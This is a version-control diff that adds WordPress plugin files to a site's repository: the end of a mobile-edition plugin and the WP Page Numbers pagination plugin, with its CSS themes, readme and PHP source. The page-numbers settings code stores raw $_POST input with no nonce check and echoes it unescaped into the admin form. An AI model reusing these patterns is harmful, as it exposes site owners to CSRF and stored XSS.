+		<p>'.__('Browsers that have a <a href="http://en.wikipedia.org/wiki/User_agent">User Agent</a> matching a key below will be shown the mobile version of your site instead of the normal theme.', 'cf-mobile').'</p>
+		<fieldset class="options">
+	');
+	foreach ($cfmobi_settings as $key => $config) {
+		echo cf_settings_field($key, $config);
+	}
+	print('
+		</fieldset>
+		<p>'.sprintf(__('To see the User Agent for your browser, <a href="%s">click here</a>.', 'cf-mobile'), trailingslashit(get_bloginfo('home')).'?cf_action=cfmobi_who').'</p>
+		<p class="submit">
+			<input type="submit" name="submit" class="button-primary" value="'.__('Save Settings', 'cf-mobile').'" />
+		</p>
+	</form>
+</div>
+	');
+	do_action('cfmobi_settings_form');
+}
+
+function cfmobi_save_settings() {
+	if (!current_user_can('manage_options')) {
+		return;
+	}
+	global $cfmobi_settings;
+	foreach ($cfmobi_settings as $key => $option) {
+		$value = '';
+		switch ($option['type']) {
+			case 'int':
+				$value = intval($_POST[$key]);
+				break;
+			case 'select':
+				$test = stripslashes($_POST[$key]);
+				if (isset($option['options'][$test])) {
+					$value = $test;
+				}
+				break;
+			case 'string':
+			case 'textarea':
+			default:
+				$value = stripslashes($_POST[$key]);
+				break;
+		}
+		update_option($key, $value);
+	}
+}
+
+if (!function_exists('get_snoopy')) {
+	function get_snoopy() {
+		include_once(ABSPATH.'/wp-includes/class-snoopy.php');
+		return new Snoopy;
+	}
+}
+
+//a:22:{s:11:"plugin_name";s:24:"WordPress Mobile Edition";s:10:"plugin_uri";s:42:"http://crowdfavorite.com/wordpress/plugins";s:18:"plugin_description";s:277:"Show your mobile visitors a site presentation designed just for them. Rich experience for iPhone, Android, etc. and clean simple formatting for less capable mobile browsers. Cache-friendly with a Carrington-based theme, and progressive enhancement for advanced mobile browsers.";s:14:"plugin_version";s:3:"3.0";s:6:"prefix";s:6:"cfmobi";s:8:"filename";s:13:"wp-mobile.php";s:12:"localization";s:9:"cf-mobile";s:14:"settings_title";s:24:"WordPress Mobile Edition";s:13:"settings_link";s:6:"Mobile";s:4:"init";s:1:"1";s:7:"install";s:1:"1";s:9:"post_edit";b:0;s:12:"comment_edit";b:0;s:6:"jquery";b:0;s:6:"wp_css";b:0;s:5:"wp_js";b:0;s:9:"admin_css";s:1:"1";s:8:"admin_js";s:1:"1";s:15:"request_handler";s:1:"1";s:6:"snoopy";s:1:"1";s:11:"setting_cat";b:0;s:14:"setting_author";b:0;}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/classic/wp-page-numbers.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/classic/wp-page-numbers.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/classic/wp-page-numbers.css	(revision 44)
@@ -0,0 +1,80 @@
+#wp_page_numbers ul, #wp_page_numbers li, #wp_page_numbers a {
+	background: white;
+	padding: 0;
+	margin: 0;
+	border: none;
+	text-decoration: none;
+	font-weight: normal;
+	font-style: normal;
+	list-style: none;
+	text-transform: none;
+	text-indent: 0px;
+	font-variant: normal;
+	text-align: left;
+	line-height: 12px;
+	letter-spacing: 0px;
+	word-spacing: 0px;
+	font-size: 11px;
+	font-family: Arial;
+}
+
+#wp_page_numbers {
+	margin-top: 10px;
+	width: 100%;
+	background: white;
+	margin-bottom: 10px;
+}
+#wp_page_numbers ul {
+	width: 100%;
+}
+#wp_page_numbers li {
+	float: left;
+	display: block;
+	margin-bottom: 2px;
+}
+
+#wp_page_numbers a {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+	margin-left: 2px;
+	margin-right: 2px;
+	display: block;
+	color: #333;
+	border: 1px solid #bfbfbf;
+}
+
+#wp_page_numbers li a:hover {
+	border-color: #BA0000;
+}
+
+#wp_page_numbers li.space {
+	padding: 6px;
+	padding-left: 2px;
+	padding-right: 2px;
+}
+
+#wp_page_numbers li.first_last_page {
+	font-style: italic;
+}
+
+#wp_page_numbers li.active_page a {
+	border-color: #0075b8;
+}
+#wp_page_numbers li.active_page a:hover  {
+	color: black; /* IE fix */
+	text-decoration: underline;
+	border-color: #BA0000;
+}
+
+#wp_page_numbers li.page_info {
+	float: left;
+	display: block;
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+	margin-right: 2px;
+	color: #666;
+	font-size: 11px;
+	border: 1px solid #bfbfbf;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/default/wp-page-numbers.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/default/wp-page-numbers.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/default/wp-page-numbers.css	(revision 44)
@@ -0,0 +1,89 @@
+#wp_page_numbers ul, #wp_page_numbers li, #wp_page_numbers a {
+	background: #fff;
+	padding: 0;
+	margin: 0;
+	border: none;
+	text-decoration: none;
+	font-weight: normal;
+	font-style: normal;
+	list-style: none;
+	text-transform: none;
+	text-indent: 0px;
+	font-variant: normal;
+	text-align: left;
+	line-height: 12px;
+	letter-spacing: 0px;
+	word-spacing: 0px;
+}
+
+#wp_page_numbers {
+	margin-top: 10px;
+	width: 100%;
+	background: #fff;
+}
+#wp_page_numbers ul {
+	border-top: 1px solid #ccc;
+	width: 100%;
+}
+#wp_page_numbers li {
+	float: left;
+	display: block;
+}
+
+#wp_page_numbers a {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+	display: block;
+	color: #aaa;
+	font-family: Arial;
+	font-size: 12px;
+	border-top: 2px solid #fff;
+	border-bottom: 2px solid #fff;
+}
+
+#wp_page_numbers li a:hover {
+	color: #ff00a4;
+	border-top: 2px solid #ff00a4;
+	border-bottom: 2px solid #f1f1f1;
+}
+
+#wp_page_numbers li.space {
+	font-size: 12px;
+	font-family: Arial;
+	color: #aaa;
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+	border-top: 2px solid #fff;
+	border-bottom: 2px solid #fff;
+}
+
+#wp_page_numbers li.first_last_page {
+	font-style: italic;
+}
+
+#wp_page_numbers li.active_page a {
+	color: #fff;
+	background: #45b9f6;
+	border-top: 2px solid #45b9f6;
+	border-bottom: 2px solid #45b9f6;
+	
+}
+#wp_page_numbers li.active_page a:hover  {
+	color: #fff; /* IE fix */
+	border-top: 2px solid #00679d;
+	border-bottom: 2px solid #45b9f6;
+}
+
+#wp_page_numbers li.page_info {
+	float: left;
+	font-size: 12px;
+	font-family: Arial;
+	color: #aaa;
+	display: block;
+	padding: 3px;
+	padding-right: 5px;
+	border-top: 2px solid #fff;
+	border-bottom: 2px solid #fff;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/panther/wp-page-numbers.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/panther/wp-page-numbers.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/panther/wp-page-numbers.css	(revision 44)
@@ -0,0 +1,77 @@
+#wp_page_numbers ul, #wp_page_numbers li, #wp_page_numbers a {
+	background: #4f4f4f;
+	padding: 0;
+	margin: 0;
+	border: none;
+	text-decoration: none;
+	font-weight: normal;
+	font-style: normal;
+	list-style: none;
+	text-transform: none;
+	text-indent: 0px;
+	font-variant: normal;
+	text-align: left;
+	line-height: 12px;
+	letter-spacing: 0px;
+	word-spacing: 0px;
+	font-size: 12px;
+	font-family: Arial;
+	color: white;
+}
+
+#wp_page_numbers {
+	margin-top: 10px;
+	width: 100%;
+	background: #4f4f4f;
+	border-top: 2px solid black;
+}
+#wp_page_numbers ul {
+	
+	width: 100%;
+}
+#wp_page_numbers li {
+	float: left;
+	display: block;
+}
+
+#wp_page_numbers a {
+	padding: 6px;
+	padding-left: 4px;
+	padding-right: 4px;
+	display: block;
+	color: #ddd;
+}
+
+#wp_page_numbers li a:hover {
+	text-decoration: underline;
+}
+
+#wp_page_numbers li.space {
+	padding: 6px;
+	padding-left: 8px;
+	padding-right: 8px;
+}
+
+#wp_page_numbers li.first_last_page {
+	font-style: italic;
+}
+
+#wp_page_numbers li.active_page a {
+	background: black;
+	padding: 6px;
+	padding-left: 8px;
+	padding-right: 8px;
+	color: white;
+}
+#wp_page_numbers li.active_page a:hover  {
+	color: #fff; /* IE fix */
+}
+
+#wp_page_numbers li.page_info {
+	float: left;
+	display: block;
+	padding: 6px;
+	padding-right: 8px;
+	color: #ddd;
+	font-size: 11px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/readme.txt	(revision 44)
@@ -0,0 +1,67 @@
+=== WP Page Numbers ===
+Tags: navigation, paging, page, numbers, archive, categories, plugin, seo
+Requires at least: 2.3
+Tested up to: 2.8
+Stable tag: 0.5
+
+A simple paging navigation plugin for users and search engines. Instead of next and previous page it shows numbers and arrows. Settings available.
+
+== Description ==
+
+= User friendly navigation =
+With page numbers instead of next and previous links users can easily navigate much quicker to the page they want. It is good for SEO (Search Engine Optimization) as well, because it creates a tighter inner link structure. Works with all well known browsers (Internet Explorer, Firefox, Opera and Safari).
+
+= Updates 0.5 =
+* Fixed bug with page numbers disappearing
+
+= Updates 0.4 =
+* Added optional start and end code link wp_page_numbers($start, $end)
+* Changed get_bloginfo(url) to get_bloginfo(wpurl)
+
+= Updates 0.3 =
+* Changed get_settings (deprecated) to get_bloginfo (bugfix)
+* Added missing echos, which should fix the URLs to the preview images in admin
+* Fixed 0 ... 1 problem by checking if the page is front page or archive
+
+= Updates 0.2 =
+* 5 page numbers themes - See <a href="http://wordpress.org/extend/plugins/wp-page-numbers/screenshots/">screenshots</a> for a preview!
+* Put some "reset"-code in the themes to make it look the same on all themes
+
+= Settings / Options =
+
+* Custom texts and arrows
+* Maximum number of pages to show at the same time
+* Custom stylesheet folder (else default is used)
+* Turn stylesheet off
+* Turn off page information (page 3 of 5)
+* Turn off next and previous page
+* Turn off the first and end page numbers
+* Turn off the numbers
+	
+<a href="http://www.jenst.se/category/blogg">Live demo (at the bottom)!</a>
+
+== Installation ==
+
+1. Upload the FOLDER 'wp-page-numbers' to the /wp-content/plugins/
+2. Activate the plugin 'WP Page Numbers' through the 'Plugins' menu in admin
+3. Go to 'Options' or 'Settings' and then 'WP Page Numbers' to change the options
+
+= Usage =
+
+Replace the the 'next_posts_link()' and 'previous_posts_link()' with the code below in your theme (archive.php, index.php or search.php).<br />
+
+<code><?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?></code>
+
+== Frequently Asked Questions ==
+
+= How do I report a bug? =
+
+Contact me <a href="http://www.jenst.se/2008/03/29/wp-page-numbers">here</a>. Describe the problem as good as you can, your plugin version, Wordpress version and possible conflicting plugins and so on.
+
+= How can I support this plugin? =
+
+Spread the word, report bugs and give med feedback.
+
+== Screenshots ==
+
+1. This is what the page numbers looks like in default mode.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/stylish/wp-page-numbers.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/stylish/wp-page-numbers.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/stylish/wp-page-numbers.css	(revision 44)
@@ -0,0 +1,71 @@
+#wp_page_numbers ul, #wp_page_numbers li, #wp_page_numbers a {
+	background: url('img/bkg.gif') center left repeat-x;
+	padding: 0;
+	margin: 0;
+	border: none;
+	text-decoration: none;
+	font-weight: normal;
+	font-style: normal;
+	list-style: none;
+	text-transform: none;
+	text-indent: 0px;
+	font-variant: normal;
+	text-align: left;
+	line-height: 12px;
+	letter-spacing: 0px;
+	word-spacing: 0px;
+	font-size: 12px;
+	font-family: Arial;
+	color: white;
+	font-weight: bold;
+}
+
+#wp_page_numbers {
+	margin-top: 10px;
+	width: 100%;
+	border: 1px solid #3e89a2;
+	background: url('img/bkg.gif') center left repeat-x;
+}
+#wp_page_numbers ul {
+	width: 100%;
+}
+#wp_page_numbers li {
+	float: left;
+	display: block;
+}
+
+#wp_page_numbers a {
+	padding: 6px;
+	padding-left: 4px;
+	padding-right: 4px;
+	display: block;
+}
+
+#wp_page_numbers li a:hover {
+	text-decoration: underline;
+	background: #95c9da;
+	color: #000;
+}
+
+#wp_page_numbers li.space {
+	padding: 6px;
+}
+
+#wp_page_numbers li.active_page a {
+	background: url('img/bkg_active.gif') center left repeat-x;
+	padding: 6px;
+	padding-left: 8px;
+	padding-right: 8px;
+	color: white;
+}
+#wp_page_numbers li.active_page a:hover  {
+	color: #fff; /* IE fix */
+}
+
+#wp_page_numbers li.page_info {
+	float: left;
+	display: block;
+	padding: 6px;
+	padding-right: 8px;
+	font-size: 11px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/tiny/wp-page-numbers.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/tiny/wp-page-numbers.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/tiny/wp-page-numbers.css	(revision 44)
@@ -0,0 +1,85 @@
+#wp_page_numbers ul, #wp_page_numbers li, #wp_page_numbers a {
+	background: #f1f1f1;
+	padding: 0;
+	margin: 0;
+	border: none;
+	text-decoration: none;
+	font-weight: normal;
+	font-style: normal;
+	list-style: none;
+	text-transform: none;
+	text-indent: 0px;
+	font-variant: normal;
+	text-align: left;
+	line-height: 12px;
+	letter-spacing: 0px;
+	word-spacing: 0px;
+	font-size: 9px;
+	font-family: Verdana;
+}
+
+#wp_page_numbers {
+	margin-top: 10px;
+	width: 100%;
+	background: #f1f1f1;
+	border: 1px solid #bfbfbf;
+}
+#wp_page_numbers ul {
+	width: 100%;
+}
+#wp_page_numbers li {
+	float: left;
+	display: block;
+}
+
+#wp_page_numbers a {
+
+	margin-top: 2px;
+	margin-bottom: 2px;
+
+	padding: 2px;
+	padding-left: 2px;
+	padding-right: 2px;
+	margin-left: 1px;
+	margin-right: 1px;
+	display: block;
+	color: #333;
+	border: 1px solid #f1f1f1;
+}
+
+#wp_page_numbers li a:hover {
+	border-color: #999;
+}
+
+#wp_page_numbers li.space {
+	margin-top: 2px;
+	margin-bottom: 2px;
+	border: 1px solid #f1f1f1;
+	padding-top: 2px;
+}
+
+#wp_page_numbers li.first_last_page {
+	font-style: italic;
+}
+
+#wp_page_numbers li.active_page a {
+	border: 1px solid #bfbfbf;
+	background: white;
+	padding-left: 4px;
+	padding-right: 4px;
+}
+#wp_page_numbers li.active_page a:hover  {
+	color: black; /* IE fix */
+}
+
+#wp_page_numbers li.page_info {
+	margin-top: 2px;
+	margin-bottom: 2px;
+	
+	padding-top: 2px;
+	
+	margin-right: 2px;
+	padding-left: 2px;
+	color: #666;
+	border: 1px solid #f1f1f1;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/wp-page-numbers.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/wp-page-numbers.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-page-numbers/wp-page-numbers.php	(revision 44)
@@ -0,0 +1,590 @@
+<?php
+/*
+Plugin Name: WP Page Numbers
+Plugin URI: http://www.jenst.se/2008/03/29/wp-page-numbers
+Description: Show pages numbers instead of "Next page" and "Previous Page".
+Version: 0.5
+Author: Jens T&ouml;rnell
+Author URI: http://www.jenst.se
+*/
+
+function wp_page_numbers_stylesheet()
+{
+	$settings = get_option('wp_page_numbers_array');
+	$head_stylesheet = $settings["head_stylesheetsheet"];
+	$head_stylesheet_folder_name = $settings["head_stylesheetsheet_folder_name"];
+	$style_theme = $settings["style_theme"];
+	
+	if($head_stylesheet == "on" || $head_stylesheet == "" && (is_archive() || is_search() || is_home() ||is_page()))
+	{
+		echo '<link rel="stylesheet" href="'. get_bloginfo('wpurl') . '/wp-content/plugins/wp-page-numbers/';
+		if($head_stylesheet_folder_name == "")
+		{
+			if($style_theme == "default")
+				echo 'default';
+			elseif($style_theme == "classic")
+				echo 'classic';
+			elseif($style_theme == "tiny")
+				echo 'tiny';
+			elseif($style_theme == "panther")
+				echo 'panther';
+			elseif($style_theme == "stylish")
+				echo 'stylish';
+			else
+				echo 'default';
+		}
+		else
+			echo $head_stylesheet_folder_name;
+		echo '/wp-page-numbers.css" type="text/css" media="screen" />';
+	}
+}
+add_action('wp_head', 'wp_page_numbers_stylesheet');
+
+function wp_page_numbers_check_num($num)
+{
+  return ($num%2) ? true : false;
+}
+
+function wp_page_numbers_page_of_page($max_page, $paged, $page_of_page_text, $page_of_of)
+{
+	$pagingString = "";
+	if ( $max_page > 1)
+	{
+		$pagingString .= '<li class="page_info">';
+		if($page_of_page_text == "")
+			$pagingString .= 'Page ';
+		else
+			$pagingString .= $page_of_page_text . ' ';
+		
+		if ( $paged != "" )
+			$pagingString .= $paged;
+		else
+			$pagingString .= 1;
+		
+		if($page_of_of == "")
+			$pagingString .= ' of ';
+		else
+			$pagingString .= ' ' . $page_of_of . ' ';
+		$pagingString .= floor($max_page).'</li>';
+	}
+	return $pagingString;
+}
+
+function wp_page_numbers_prevpage($paged, $max_page, $prevpage)
+{
+	if( $max_page > 1 && $paged > 1 )
+		$pagingString = '<li><a href="'.get_pagenum_link($paged-1). '">'.$prevpage.'</a></li>';
+	return $pagingString;
+}
+
+function wp_page_numbers_left_side($max_page, $limit_pages, $paged, $pagingString)
+{
+	$pagingString = "";
+	$page_check_max = false;
+	$page_check_min = false;
+	if($max_page > 1)
+	{
+		for($i=1; $i<($max_page+1); $i++)
+		{
+			if( $i <= $limit_pages )
+			{
+				if ($paged == $i || ($paged == "" && $i == 1))
+					$pagingString .= '<li class="active_page"><a href="'.get_pagenum_link($i). '">'.$i.'</a></li>'."\n";
+				else
+					$pagingString .= '<li><a href="'.get_pagenum_link($i). '">'.$i.'</a></li>'."\n";
+				if ($i == 1)
+					$page_check_min = true;
+				if ($max_page == $i)
+					$page_check_max = true;
+			}
+		}
+		return array($pagingString, $page_check_max, $page_check_min);
+	}
+}
+
+function wp_page_numbers_middle_side($max_page, $paged, $limit_pages_left, $limit_pages_right)
+{
+	$pagingString = "";
+	$page_check_max = false;
+	$page_check_min = false;
+	for($i=1; $i<($max_page+1); $i++)
+	{
+		if($paged-$i <= $limit_pages_left && $paged+$limit_pages_right >= $i)
+		{
+			if ($paged == $i)
+				$pagingString .= '<li class="active_page"><a href="'.get_pagenum_link($i). '">'.$i.'</a></li>'."\n";
+			else
+				$pagingString .= '<li><a href="'.get_pagenum_link($i). '">'.$i.'</a></li>'."\n";
+				
+			if ($i == 1)
+				$page_check_min = true;
+			if ($max_page == $i)
+				$page_check_max = true;
+		}
+	}
+	return array($pagingString, $page_check_max, $page_check_min);
+}
+
+function wp_page_numbers_right_side($max_page, $limit_pages, $paged, $pagingString)
+{
+	$pagingString = "";
+	$page_check_max = false;
+	$page_check_min = false;
+	for($i=1; $i<($max_page+1); $i++)
+	{
+		if( ($max_page + 1 - $i) <= $limit_pages )
+		{
+			if ($paged == $i)
+				$pagingString .= '<li class="active_page"><a href="'.get_pagenum_link($i). '">'.$i.'</a></li>'."\n";
+			else
+				$pagingString .= '<li><a href="'.get_pagenum_link($i). '">'.$i.'</a></li>'."\n";
+				
+			if ($i == 1)
+			$page_check_min = true;
+		}
+		if ($max_page == $i)
+			$page_check_max = true;
+		
+	}
+	return array($pagingString, $page_check_max, $page_check_min);
+}
+
+function wp_page_numbers_nextpage($paged, $max_page, $nextpage)
+{
+	if( $paged != "" && $paged < $max_page)
+		$pagingString = '<li><a href="'.get_pagenum_link($paged+1). '">'.$nextpage.'</a></li>'."\n";
+	return $pagingString;
+}
+
+function wp_page_numbers($start = "", $end = "")
+{
+	global $wp_query;
+	global $max_page;
+	global $paged;
+	if ( !$max_page ) { $max_page = $wp_query->max_num_pages; }
+	if ( !$paged ) { $paged = 1; }
+	
+	$settings = get_option('wp_page_numbers_array');
+	$page_of_page = $settings["page_of_page"];
+	$page_of_page_text = $settings["page_of_page_text"];
+	$page_of_of = $settings["page_of_of"];
+	
+	$next_prev_text = $settings["next_prev_text"];
+	$show_start_end_numbers = $settings["show_start_end_numbers"];
+	$show_page_numbers = $settings["show_page_numbers"];
+	
+	$limit_pages = $settings["limit_pages"];
+	$nextpage = $settings["nextpage"];
+	$prevpage = $settings["prevpage"];
+	$startspace = $settings["startspace"];
+	$endspace = $settings["endspace"];
+	
+	if( $nextpage == "" ) { $nextpage = "&gt;"; }
+	if( $prevpage == "" ) { $prevpage = "&lt;"; }
+	if( $startspace == "" ) { $startspace = "..."; }
+	if( $endspace == "" ) { $endspace = "..."; }
+	
+	if($limit_pages == "") { $limit_pages = "10"; }
+	elseif ( $limit_pages == "0" ) { $limit_pages = $max_page; }
+	
+	if(wp_page_numbers_check_num($limit_pages) == true)
+	{
+		$limit_pages_left = ($limit_pages-1)/2;
+		$limit_pages_right = ($limit_pages-1)/2;
+	}
+	else
+	{
+		$limit_pages_left = $limit_pages/2;
+		$limit_pages_right = ($limit_pages/2)-1;
+	}
+	
+	if( $max_page <= $limit_pages ) { $limit_pages = $max_page; }
+	
+	$pagingString = "<div id='wp_page_numbers'>\n";
+	$pagingString .= '<ul>';
+	
+	if($page_of_page != "no")
+		$pagingString .= wp_page_numbers_page_of_page($max_page, $paged, $page_of_page_text, $page_of_of);
+	
+	if( ($paged) <= $limit_pages_left )
+	{
+		list ($value1, $value2, $page_check_min) = wp_page_numbers_left_side($max_page, $limit_pages, $paged, $pagingString);
+		$pagingMiddleString .= $value1;
+	}
+	elseif( ($max_page+1 - $paged) <= $limit_pages_right )
+	{
+		list ($value1, $value2, $page_check_min) = wp_page_numbers_right_side($max_page, $limit_pages, $paged, $pagingString);
+		$pagingMiddleString .= $value1;
+	}
+	else
+	{
+		list ($value1, $value2, $page_check_min) = wp_page_numbers_middle_side($max_page, $paged, $limit_pages_left, $limit_pages_right);
+		$pagingMiddleString .= $value1;
+	}
+	if($next_prev_text != "no")
+		$pagingString .= wp_page_numbers_prevpage($paged, $max_page, $prevpage);
+
+		if ($page_check_min == false && $show_start_end_numbers != "no")
+		{
+			$pagingString .= "<li class=\"first_last_page\">";
+			$pagingString .= "<a href=\"" . get_pagenum_link(1) . "\">1</a>";
+			$pagingString .= "</li>\n<li  class=\"space\">".$startspace."</li>\n";
+		}
+	
+	if($show_page_numbers != "no")
+		$pagingString .= $pagingMiddleString;
+	
+		if ($value2 == false && $show_start_end_numbers != "no")
+		{
+			$pagingString .= "<li class=\"space\">".$endspace."</li>\n";
+			$pagingString .= "<li class=\"first_last_page\">";
+			$pagingString .= "<a href=\"" . get_pagenum_link($max_page) . "\">" . $max_page . "</a>";
+			$pagingString .= "</li>\n";
+		}
+	
+	if($next_prev_text != "no")
+		$pagingString .= wp_page_numbers_nextpage($paged, $max_page, $nextpage);
+	
+	$pagingString .= "</ul>\n";
+	
+	$pagingString .= "<div style='float: none; clear: both;'></div>\n";
+	$pagingString .= "</div>\n";
+	
+	if($max_page > 1)
+		echo $start . $pagingString . $end;
+}
+
+function wp_page_numbers_settings()
+{
+    if(isset($_POST['submitted']))
+	{
+		if($_POST["head_stylesheetsheet"] == "")
+			$_POST["head_stylesheetsheet"] = "no";
+		if($_POST["page_of_page"] == "")
+			$_POST["page_of_page"] = "no";
+		if($_POST["next_prev_text"] == "")
+			$_POST["next_prev_text"] = "no";
+		if($_POST["show_start_end_numbers"] == "")
+			$_POST["show_start_end_numbers"] = "no";
+		if($_POST["show_page_numbers"] == "")
+			$_POST["show_page_numbers"] = "no";
+		if($_POST["style_theme"] == "")
+			$_POST["style_theme"] = "default";
+	
+		$settings = array (
+			"head_stylesheetsheet"				=> $_POST["head_stylesheetsheet"],
+			"head_stylesheetsheet_folder_name"	=> $_POST["head_stylesheetsheet_folder_name"],
+			"page_of_page"						=> $_POST["page_of_page"],
+			"page_of_page_text"					=> $_POST["page_of_page_text"],
+			"page_of_of"						=> $_POST["page_of_of"],
+			"next_prev_text"					=> $_POST["next_prev_text"],
+			"show_start_end_numbers"			=> $_POST["show_start_end_numbers"],
+			"show_page_numbers"					=> $_POST["show_page_numbers"],
+			"limit_pages"						=> $_POST["limit_pages"],
+			"nextpage"							=> $_POST["nextpage"],
+			"prevpage"							=> $_POST["prevpage"],
+			"startspace"						=> $_POST["startspace"],
+			"endspace"							=> $_POST["endspace"],
+			"style_theme"						=> $_POST["style_theme"],
+		);
+		update_option('wp_page_numbers_array', $settings);
+		
+		echo "<div id=\"message\" class=\"updated fade\"><p><strong>WP Page Numbers plugin options updated.</strong></p></div>";
+    }
+
+	$settings = get_option('wp_page_numbers_array');
+	
+	$style_theme = $settings["style_theme"];
+	
+	$head_stylesheet = $settings["head_stylesheetsheet"];
+	$head_stylesheet_folder_name = $settings["head_stylesheetsheet_folder_name"];
+	$page_of_page = $settings["page_of_page"];
+	$page_of_page_text = $settings["page_of_page_text"];
+	$page_of_of = $settings["page_of_of"];
+	
+	$next_prev_text = $settings["next_prev_text"];
+	$show_start_end_numbers = $settings["show_start_end_numbers"];
+	$show_page_numbers = $settings["show_page_numbers"];
+	
+	$limit_pages = $settings["limit_pages"];
+	
+	$nextpage = $settings["nextpage"];
+	$prevpage = $settings["prevpage"];
+	$startspace = $settings["startspace"];
+	$endspace = $settings["endspace"];
+
+    ?>
+<form method="post" name="options" target="_self">
+
+<div class="wrap">
+<h2>Page Number Themes</h2>
+<table style="width: 100%;" border="0">
+	<tr>
+		<td><strong>Use themes?</strong></td>
+		<td>
+			<input type="checkbox" name="head_stylesheetsheet" <?php
+			if($head_stylesheet == "on" || $head_stylesheet == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/> Include theme stylesheet for page numbers
+		</td>
+	</tr>
+	<tr>
+		<td style="width: 400px;"><strong>Modern</strong></td>
+		<td style="padding-top: 5px; padding-bottom: 5px;">
+			<input type="radio" name="style_theme" value="default" <?php
+			if( ( $style_theme == "default" || $style_theme == "" ) && $head_stylesheet_folder_name == "" )
+			{
+				echo 'checked="checked"';
+			}
+			?>/>
+			<img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/wp-page-numbers/default/preview.gif" alt="" />
+		</td>
+	</tr>
+	<tr>
+		<td><strong>Classic</strong></td>
+		<td style="padding-top: 5px; padding-bottom: 5px;">
+			<input type="radio" name="style_theme" value="classic" <?php
+			if($style_theme == "classic" && $head_stylesheet_folder_name == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/>
+			<img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/wp-page-numbers/classic/preview.gif" alt="" />
+		</td>
+	</tr>
+	<tr>
+		<td><strong>Tiny</strong></td>
+		<td style="padding-top: 5px; padding-bottom: 5px;">
+			<input type="radio" name="style_theme" value="tiny" <?php
+			if($style_theme == "tiny" && $head_stylesheet_folder_name == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/>
+			<img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/wp-page-numbers/tiny/preview.gif" alt="" />
+		</td>
+	</tr>
+	<tr>
+		<td><strong>Panther</strong></td>
+		<td style="padding-top: 5px; padding-bottom: 5px;">
+			<input type="radio" name="style_theme" value="panther" <?php
+			if($style_theme == "panther" && $head_stylesheet_folder_name == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/>
+			<img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/wp-page-numbers/panther/preview.gif" alt="" />
+		</td>
+	</tr>
+	<tr>
+		<td><strong>Stylish</strong></td>
+		<td style="padding-top: 5px; padding-bottom: 5px;">
+			<input type="radio" name="style_theme" value="stylish" <?php
+			if($style_theme == "stylish" && $head_stylesheet_folder_name == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/>
+			<img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/wp-page-numbers/stylish/preview.gif" alt="" />
+		</td>
+	</tr>
+	<tr>
+		<td><strong>Theme folder name: </strong><span style="color: red;">OVERRIDE</span> settings above</td>
+		<td colspan="3">
+			<input name="head_stylesheetsheet_folder_name" type="text" style="width:100%;" value="<?php echo $head_stylesheet_folder_name; ?>" />
+		</td>
+	</tr>
+	
+	<tr>
+	<td></td>
+		<td colspan="2">
+			- Have you create a cool WP Page Numbers theme?<br />
+			- Want to share it to the rest of the world? <a href="http://www.jenst.se/2008/03/29/wp-page-numbers/">Write a comment about it</a>.
+		</td>
+	</tr>
+</table>
+</div>
+
+<div class="wrap">
+<h2>Settings - Text</h2>
+<table style="width: 100%;" border="0">
+
+	<tr>
+		<td style="width: 400px;"><strong>Default text: </strong>Page</td>
+		<td colspan="3">
+			<input name="page_of_page_text" type="text" style="width:100%;" value="<?php echo $page_of_page_text; ?>" />
+		</td>
+	</tr>
+	
+	<tr>
+		<td><strong>Default text: </strong>of</td>
+		<td colspan="3">
+			<input name="page_of_of" type="text" style="width:100%;" value="<?php echo $page_of_of; ?>" />
+		</td>
+	</tr>
+	
+	<tr>
+		<td><strong>Default text: </strong>&lt;</td>
+		<td colspan="3">
+			<input name="prevpage" type="text" style="width:100%;" value="<?php echo $prevpage; ?>" />
+		</td>
+	</tr>
+
+	<tr>
+		<td><strong>Default text: </strong>...</td>
+		<td colspan="3">
+			<input name="startspace" type="text" style="width:100%;" value="<?php echo $startspace; ?>" />
+		</td>
+	</tr>
+	
+	<tr>
+		<td><strong>Default text: </strong>...</td>
+		<td colspan="3">
+			<input name="endspace" type="text" style="width:100%;" value="<?php echo $endspace; ?>" />
+		</td>
+	</tr>
+	
+	<tr>
